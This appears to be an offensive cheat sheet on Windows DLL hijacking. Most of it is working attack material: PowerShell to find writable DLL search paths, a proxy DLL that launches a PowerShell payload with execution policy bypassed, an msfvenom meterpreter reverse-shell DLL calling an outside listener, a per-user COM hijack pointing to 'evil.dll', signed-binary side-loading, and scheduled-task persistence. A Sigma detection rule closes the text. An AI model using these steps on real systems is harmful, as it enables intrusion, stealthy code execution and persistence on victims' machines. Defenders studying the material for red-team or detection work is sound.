apt install mingw-w64

# Procmon filters:
# Operation = CreateFile
# Result = NAME NOT FOUND
# Path ends with .dll

# Export results to CSV for analysis
# Look for DLLs loaded from writable locations

# PowerShell — find writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
    $acl = Get-Acl $_ -ErrorAction SilentlyContinue
    if ($acl) { "$_ : $($acl.Access | Where-Object {$_.IdentityReference -match 'Users|Everyone'})" }
}

# Find applications loading from CWD
Get-Process | ForEach-Object {
    $_.Modules | Where-Object { $_.FileName -notmatch 'System32|SysWOW64' }
} | Select-Object FileName -Unique

// proxy_dll.c — forwards calls to real DLL while executing payload
#include <windows.h>

// Forward exports to real DLL
#pragma comment(linker, "/export:RealFunction=original.RealFunction")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Payload — reverse shell, beacon, etc.
        WinExec("cmd.exe /c powershell -ep bypass -f C:\\temp\\payload.ps1", 0);
    }
    return TRUE;
}

# Compile with MinGW
x86_64-w64-mingw32-gcc -shared -o target.dll proxy_dll.c -lws2_32

# Or generate with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -f dll -o hijack.dll

# Find hijackable COM objects — InprocServer32 pointing to missing DLLs
$clsids = Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -Recurse |
    Get-ItemProperty -Name "(Default)" -ErrorAction SilentlyContinue

# Set per-user COM hijack (HKCU takes priority over HKLM)
New-Item -Path "HKCU:\SOFTWARE\Classes\CLSID\{TARGET-CLSID}\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\{TARGET-CLSID}\InprocServer32" `
  -Name "(Default)" -Value "C:\temp\evil.dll"

# Find signed Microsoft binaries that side-load DLLs
# Common targets: OneDrive, Teams, Edge updater

# Copy signed binary + malicious DLL to writable location
copy "C:\Program Files\App\signed.exe" C:\Users\user\AppData\Local\
copy evil.dll C:\Users\user\AppData\Local\target.dll

# Create scheduled task for persistence
schtasks /create /tn "Updater" /tr "C:\Users\user\AppData\Local\signed.exe" /sc onlogon

title: DLL Side-Loading — Unsigned DLL in Signed Process
id: e5f60718-9203-1234-ef01-234567890123
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 7
    Signed: "false"
  filter:
    ImageLoaded|startswith:
      - "C:\\Windows\\System32\\"
      - "C:\\Windows\\SysWOW64\\"
  condition: selection and not filter
falsepositives:
  - Third-party software with unsigned DLLs
level: medium
tags:
  - attack.t1574.002
  - attack.persistence